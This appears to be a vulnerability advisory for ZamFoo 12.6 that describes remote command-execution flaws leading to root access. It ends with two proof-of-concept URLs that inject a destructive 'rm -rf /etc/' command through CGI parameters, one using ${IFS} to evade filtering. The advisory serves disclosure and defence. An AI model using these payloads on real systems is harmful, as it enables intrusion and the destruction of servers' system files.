source: https://www.securityfocus.com/bid/67215/info

ZamFoo is prone to multiple remote command-execution vulnerabilities.

Remote attackers can exploit these issues to execute arbitrary commands within the context of the vulnerable application to gain root access. This may facilitate a complete compromise of an affected computer.

ZamFoo 12.6 is vulnerable; other versions may also be affected. 

https://www.example.com/cgi/zamfoo/zamfoo_do_restore_zamfoo_backup.cgi?accounttorestore=|rm -rf /etc/${IFS}

https://www.example.com/cgi/zamfoo/zamfoo_do_change_site_ip.cgi?accounttochange=|rm -rf /etc/|&newip=127.0.0.1&pattern2=